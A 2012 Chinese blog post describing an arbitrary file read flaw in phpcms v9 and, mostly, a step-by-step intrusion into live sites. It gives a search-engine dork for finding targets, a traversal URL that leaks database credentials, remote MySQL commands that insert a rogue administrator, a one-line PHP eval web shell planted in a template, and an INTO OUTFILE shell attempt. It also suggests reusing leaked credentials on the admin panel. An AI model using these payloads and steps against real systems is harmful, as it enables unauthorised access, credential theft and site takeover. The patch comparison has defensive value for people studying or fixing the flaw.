作者:handt/xnhandt
網址:http://www.cnblogs.com/handt/archive/2012/07/27/2612329.html
聲明:歡迎轉載,但請注明出處。
聯系方式:mail2gw [AT] QQ 。com
在微博上看到漏洞消息,隨后在sebug看到介紹:http://sebug.net/vuldb/ssvid-60295
phpcms v9的phpcms\modules\search\index.php存在任意文件讀取漏洞 漏洞代碼如下: public function public_get_suggest_keyword() { $url = $_GET['url'].'&q='.$_GET['q']; $res = @file_get_contents($url); if(CHARSET != 'gbk') { $res = iconv('gbk', CHARSET, $res); } echo $res; }
問題很明顯,$_GET['q']的參數沒有進行校驗,直接調用了file_get_contents函數文件並顯示內容
給出的利用方式為:
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/phpsso_server/caches/configs/database.php (由於博客園會把../自動替換為http://www.cnblogs.com,所以使用..\/進行了轉義,后同)
看起來危害很大,遂從官網下載了phpcms最新版本 v9.16,看到漏洞已經修補。
public function public_get_suggest_keyword() { $url = $_GET['url'].'&q='.$_GET['q']; $trust_url = array('c8430fcf851e85818b546addf5bc4dd3'); $urm_md5 = md5($url); if (!in_array($urm_md5, $trust_url)) exit; $res = @file_get_contents($url); if(CHARSET != 'gbk') { $res = iconv('gbk', CHARSET, $res); } echo $res; }
修改方式:將提交的url md5一次后,看結果是否在trust_url中,不在則返回錯誤。
下面是利用方式部分:
1. Google 關鍵字 "Powered by PHPCMS v9 Release" 或者 "Powered by PHPCMS v9",當然結果不少 :-)
2. 訪問 ?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php
(注意:不是sebug中給出的phpsso_server 目錄,經xnhandt測試,某個網站是沒有該目錄的)
3. 得到了數據庫的配置信息,注意查看host部分的配置,如果是localhost,那你就准備放棄吧(經試驗證明,此想法錯誤,關鍵還是對方數據庫的配置,是否允許遠程訪問),如果是ip或者域名,比如這樣:
array ( 'hostname' => '61.150.xx.xx', 'database' => '數據庫名', 'username' => '用戶名', 'password' => '密碼', 'tablepre' => 'v9_', 'charset' => 'utf8', 'type' => 'mysql', 'debug' => true, 'pconnect' => 0, 'autoconnect' => 0 ), ); ?>
就可以繼續往下了
4. 遠程連接mysql數據庫:
>mysql -u 用戶名 -h 域名 -p
>輸入密碼
>use 數據庫名
>select * from v9_admin // 可以先用 show_tables 確定該表是否存在
mysql> insert into v9_admin values('3','xnhandt','52275cda855daa5ec779951cb44170 a1',1,'5YijHB','223.221.32.1','','test@test.co','','','');
建立了新用戶:xnhandt:xnhandt
(關於密碼:phpcms使用的加密方式是md5( md5($pass) . $encrypt),如果想更換密碼,可以在 這里 加密后替換掉insert語句的內容)
5.訪問網站后台:
index.php?m=admin
6.插入一句話木馬:
(試過用mysql 寫入一句話,但mysql用戶權限不夠,不能創建文件,所以還是迂回到網頁的方式)
依次找到如下位置:【界面】-【default 詳情列表】 - 【vote】(這個是默認的模塊) - 【list_new.html 修改】
在頁面頂部加入一句話:
<?php eval($_POST[pass])?>
7.用客戶端(推薦菜刀)連接小馬:
index.php?m=vote&c=index&siteid=1 密碼為 pass
上面1-7就是完整的利用方法了,關於獲得webshell再多說一點。
筆者嘗試過兩種方式獲取webshell。
第一種:
利用mysql備份獲取webshell的方式可以參看這里:《mysql備份一句話》
該方法的關鍵是獲得網站的物理路徑,這里提供一種方法,通過error_log.php文件查看:
index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php
顯然這里的根路徑是:/www/users/xxxx/wwwroot/了
但是備份的方式在執行
select cmd from a into outfile '/www/users/xxxx/wwwroot/d.php';
時返回結果如下:
筆者試過很多目錄,比如備份用到的caches/bakup/defalut/ 等可以寫入的路徑,發現都失敗了
最后使用error_log.php 以為這個是可寫可讀的文件,還是失敗。估計是數據庫用戶(非root)的權限太小,不能寫文件
第二種:
直接在網上搜索“phpcms v9 獲取 webshell”,找到這篇文章:《Phpcms v9后台拿webshell》
文中的方法不知道作者試過沒有,筆者在本地測試不成功。當然,可能是作者的方式被人發到了官方論壇,該方法已經被部分修復了。(比如這里:bbs.phpcms.cn/thread-597032-1-1.html)
所以還是需要自己修改一下。文中直接寫文件的方式會失敗,但是執行php語句還是可以成功的,在此基礎上,直接寫入一句話就可以了。
通過上文的分析,可以知道利用該漏洞的前提條件:
1.版本 v9 - v9.15 (最新的v9.16已經修復)
2.數據庫開啟了遠程連接(一般的虛擬主機可能都開啟了)
這就是為什么sebug通告中最后提到:
sebug 臨時解決方案: 禁止mysql數據庫外鏈. 給數據庫單獨的用戶權限,不要給root權限.
的原因了。
tips:如果對方沒有開啟數據庫連接遠程訪問,也不要輕易放棄,嘗試下用已有信息直接登錄后台,你會有意外驚喜 :-)
update:2012-7-28 現在登錄后台會有提示
最后,希望看到本文的讀者,以學習的態度來對待漏洞。